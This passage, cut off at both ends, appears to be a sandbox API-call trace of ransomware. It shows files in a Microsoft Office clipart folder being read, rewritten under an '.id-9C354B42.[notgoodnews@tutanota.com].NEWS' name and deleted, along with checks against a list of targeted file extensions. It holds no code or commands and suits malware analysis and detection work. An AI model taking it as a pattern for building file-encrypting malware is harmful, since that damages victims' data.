dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0245.082] GetLastError () returned 0x0 [0245.083] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x4124, lpOverlapped=0x0) returned 1 [0245.162] WriteFile (in: hFile=0x15c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0245.167] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.167] WriteFile (in: hFile=0x15c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.167] SetEndOfFile (hFile=0x15c) returned 1 [0245.168] CloseHandle (hObject=0x15c) returned 1 [0245.168] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.168] SetEndOfFile (hFile=0x384) returned 1 [0245.176] CloseHandle (hObject=0x384) returned 1 [0245.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0245.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.216] lstrlenW (lpString=".doc") returned 4 [0245.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.216] lstrlenW (lpString=".docx") returned 5 [0245.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.216] lstrlenW (lpString=".pdf") returned 4 [0245.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.216] lstrlenW (lpString=".xls") returned 4 [0245.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.217] lstrlenW (lpString=".xlsx") returned 5 [0245.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.217] lstrlenW (lpString=".ppt") returned 4 [0245.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.217] lstrlenW (lpString=".zip") returned 4 [0245.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.217] lstrlenW (lpString=".rar") returned 4 [0245.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.217] lstrlenW (lpString=".bz2") returned 4 [0245.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.218] lstrlenW (lpString=".7z") returned 3 [0245.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.218] lstrlenW (lpString=".dbf") returned 4 [0245.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.218] lstrlenW (lpString=".1cd") returned 4 [0245.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.218] lstrlenW (lpString=".jpg") returned 4 [0245.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.219] lstrlenW (lpString=".doc") returned 4 [0245.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.219] lstrlenW (lpString=".docx") returned 5 [0245.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.219] lstrlenW (lpString=".pdf") returned 4 [0245.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.219] lstrlenW (lpString=".xls") returned 4 [0245.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.219] lstrlenW (lpString=".xlsx") returned 5 [0245.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.219] lstrlenW (lpString=".ppt") returned 4 [0245.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.220] lstrlenW (lpString=".zip") returned 4 [0245.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.220] lstrlenW (lpString=".rar") returned 4 [0245.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.220] lstrlenW (lpString=".bz2") returned 4 [0245.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.220] lstrlenW (lpString=".7z") returned 3 [0245.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.221] lstrlenW (lpString=".dbf") returned 4 [0245.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.221] lstrlenW (lpString=".1cd") returned 4 [0245.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0245.221] lstrlenW (lpString=".jpg") returned 4 [0245.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.222] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.222] lstrlenW (lpString="BD08773_.WMF") returned 12 [0245.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.222] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=24778) returned 1 [0245.223] CloseHandle (hObject=0x304) returned 1 [0245.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0245.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.224] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.224] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0245.225] GetLastError () returned 0x0 [0245.226] ReadFile (in: hFile=0x304, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0245.248] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0245.253] ReadFile (in: hFile=0x304, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.253] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.253] SetEndOfFile (hFile=0x1c0) returned 1 [0245.253] CloseHandle (hObject=0x1c0) returned 1 [0245.254] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.254] SetEndOfFile (hFile=0x304) returned 1 [0245.265] CloseHandle (hObject=0x304) returned 1 [0245.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0245.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.324] lstrlenW (lpString=".doc") returned 4 [0245.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.324] lstrlenW (lpString=".docx") returned 5 [0245.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.324] lstrlenW (lpString=".pdf") returned 4 [0245.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.325] lstrlenW (lpString=".xls") returned 4 [0245.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.325] lstrlenW (lpString=".xlsx") returned 5 [0245.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.325] lstrlenW (lpString=".ppt") returned 4 [0245.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.325] lstrlenW (lpString=".zip") returned 4 [0245.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.325] lstrlenW (lpString=".rar") returned 4 [0245.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.325] lstrlenW (lpString=".bz2") returned 4 [0245.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.326] lstrlenW (lpString=".7z") returned 3 [0245.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.326] lstrlenW (lpString=".dbf") returned 4 [0245.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.326] lstrlenW (lpString=".1cd") returned 4 [0245.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.326] lstrlenW (lpString=".jpg") returned 4 [0245.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.327] lstrlenW (lpString=".doc") returned 4 [0245.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.327] lstrlenW (lpString=".docx") returned 5 [0245.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.327] lstrlenW (lpString=".pdf") returned 4 [0245.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.327] lstrlenW (lpString=".xls") returned 4 [0245.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.327] lstrlenW (lpString=".xlsx") returned 5 [0245.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.327] lstrlenW (lpString=".ppt") returned 4 [0245.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.328] lstrlenW (lpString=".zip") returned 4 [0245.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.328] lstrlenW (lpString=".rar") returned 4 [0245.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString=".bz2") returned 4 [0245.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString=".7z") returned 3 [0245.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.328] lstrlenW (lpString=".dbf") returned 4 [0245.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.329] lstrlenW (lpString=".1cd") returned 4 [0245.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0245.329] lstrlenW (lpString=".jpg") returned 4 [0245.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.329] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.330] lstrlenW (lpString="BD08868_.WMF") returned 12 [0245.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.331] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=40206) returned 1 [0245.331] CloseHandle (hObject=0x1f0) returned 1 [0245.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0245.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0245.333] GetLastError () returned 0x0 [0245.333] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0245.636] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0245.757] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.757] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.757] SetEndOfFile (hFile=0x384) returned 1 [0247.454] CloseHandle (hObject=0x384) returned 1 [0247.454] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.455] SetEndOfFile (hFile=0x1f0) returned 1 [0248.239] CloseHandle (hObject=0x1f0) returned 1 [0248.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0248.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.241] lstrlenW (lpString=".doc") returned 4 [0248.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.241] lstrlenW (lpString=".docx") returned 5 [0248.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.241] lstrlenW (lpString=".pdf") returned 4 [0248.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.241] lstrlenW (lpString=".xls") returned 4 [0248.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.241] lstrlenW (lpString=".xlsx") returned 5 [0248.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.241] lstrlenW (lpString=".ppt") returned 4 [0248.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.242] lstrlenW (lpString=".zip") returned 4 [0248.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.242] lstrlenW (lpString=".rar") returned 4 [0248.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.242] lstrlenW (lpString=".bz2") returned 4 [0248.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.242] lstrlenW (lpString=".7z") returned 3 [0248.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.242] lstrlenW (lpString=".dbf") returned 4 [0248.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.242] lstrlenW (lpString=".1cd") returned 4 [0248.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.243] lstrlenW (lpString=".jpg") returned 4 [0248.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.243] lstrlenW (lpString=".doc") returned 4 [0248.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.243] lstrlenW (lpString=".docx") returned 5 [0248.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.243] lstrlenW (lpString=".pdf") returned 4 [0248.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.244] lstrlenW (lpString=".xls") returned 4 [0248.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.244] lstrlenW (lpString=".xlsx") returned 5 [0248.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.244] lstrlenW (lpString=".ppt") returned 4 [0248.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.244] lstrlenW (lpString=".zip") returned 4 [0248.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.245] lstrlenW (lpString=".rar") returned 4 [0248.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.245] lstrlenW (lpString=".bz2") returned 4 [0248.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.245] lstrlenW (lpString=".7z") returned 3 [0248.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.246] lstrlenW (lpString=".dbf") returned 4 [0248.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.246] lstrlenW (lpString=".1cd") returned 4 [0248.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0248.246] lstrlenW (lpString=".jpg") returned 4 [0248.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.247] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0248.247] lstrlenW (lpString="BD10972_.GIF") returned 12 [0248.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.664] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=20189) returned 1 [0248.664] CloseHandle (hObject=0x3ac) returned 1 [0248.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0248.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0251.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 